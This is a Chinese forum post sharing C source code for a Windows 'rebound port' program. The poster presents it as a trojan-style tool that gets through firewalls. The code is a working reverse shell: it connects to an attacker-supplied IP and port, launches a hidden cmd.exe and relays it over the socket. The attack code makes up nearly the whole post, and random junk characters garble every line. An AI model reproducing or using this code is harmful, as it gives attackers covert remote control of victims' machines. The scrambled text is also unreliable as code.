社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4394阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v*]|1q%/  
 '+'  
/* ============================== u49/LtB\  
Rebound port in Windows NT roL~r`f`  
By wind,2006/7 H#wn3O  
===============================*/ m 0un=>{  
#include 6!b96bV  
#include WR~uy|mX  
G%rK{h  
#pragma comment(lib,"wsock32.lib") =%$ _)=}J  
]6$NU [  
void OutputShell(); r=qb[4HiV  
SOCKET sClient; yuKfhg7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e&]XiV'  
"t4~xs`~X  
void main(int argc,char **argv) xNq&_oY7  
{ F/@#yQv?  
WSADATA stWsaData; ~u}[VP  
int nRet; wm@1jLjrQ  
SOCKADDR_IN stSaiClient,stSaiServer; WWq)Cw R  
#2x\d  
if(argc != 3) ~Bj-n6QDE  
{ MLa]s* ; d  
printf("Useage:\n\rRebound DestIP DestPort\n"); BflF*-s ^  
return; P1z6 sG G  
} !|Vjv}UO  
OL=IUg"  
WSAStartup(MAKEWORD(2,2),&stWsaData); _|H]X+|  
p?8> 9  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); : <m0 GG  
AO/J:`  
stSaiClient.sin_family = AF_INET; i3#]_ p{  
stSaiClient.sin_port = htons(0); mL3'/3-7:V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }54\NSj0  
jd(=? !_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !BK^5,4?--  
{ N}.h_~6  
printf("Bind Socket Failed!\n"); p3sz32RX  
return; hQHV]xW  
} h2uO+qEsu  
zif()i   
stSaiServer.sin_family = AF_INET; 5l{_E:.1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nLo:\I(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B;?a. 81~  
$,'r} %  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7xWX:2l*?  
{ #4~Ivj  
printf("Connect Error!"); =B;rj  
return; ?uh7m 2l0D  
} !~>u\h  
OutputShell(); :Wb+&|dU  
} EY> %#0  
6=|Q>[K  
void OutputShell() @8V8gV? zm  
{ Z>Sv[Ec  
char szBuff[1024];  (lt/ t  
SECURITY_ATTRIBUTES stSecurityAttributes;  !X |Tf  
OSVERSIONINFO stOsversionInfo; )RA7Y}e|m  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]+fL6"OD/2  
STARTUPINFO stStartupInfo; ){8^l0b  
char *szShell; %H%>6z x  
PROCESS_INFORMATION stProcessInformation; ^H&6'A`  
unsigned long lBytesRead; ]9b*!n<z  
H( cY=d,  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5UjXpS  
p?6w/n  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7!L"ef62o  
stSecurityAttributes.lpSecurityDescriptor = 0; NV*t  
stSecurityAttributes.bInheritHandle = TRUE; ,4EE9 ?J  
#[Ns\%Ri0  
ZTHr jW1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t'R&$;z@b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U'Vz   
5k<HO_]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~e'FPVDn  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <3ovCqa  
stStartupInfo.wShowWindow = SW_HIDE; YzEa?F*$  
stStartupInfo.hStdInput = hReadPipe; $yc&f(Tv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^\Jg {9a  
h9SS o0]F  
GetVersionEx(&stOsversionInfo); b:W]L3Z8  
`[CXxp  
switch(stOsversionInfo.dwPlatformId) /UM9g+Bb  
{ W}JJaZR*X  
case 1: ]TD]    
szShell = "command.com"; vW YN?"d  
break; hM+nA::w  
default: s )_sLt8?  
szShell = "cmd.exe"; bzB9u&  
break; @I_ A(cr  
} Etn]e;z4  
MhJq~G p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1xcx2L+R  
/5zzzaj {  
send(sClient,szMsg,77,0); kw?RUt0-V  
while(1) X~n Kuo  
{ [ub,&j^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YwHnDVV+  
if(lBytesRead) .B>|>W O  
{ vmW4a3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d+"KXt5CV  
send(sClient,szBuff,lBytesRead,0); hb^e2@i;Oq  
} >Li ~Og@  
else rZGA9duy  
{ >(d+E\!A  
lBytesRead=recv(sClient,szBuff,1024,0); vhKeW(z  
if(lBytesRead<=0) break; 1~ZDHfd5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^c.b@BE  
} Q_M2!qj  
} Gvj@?62  
>TK`s@jdSV  
return; =:9n+7~$  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五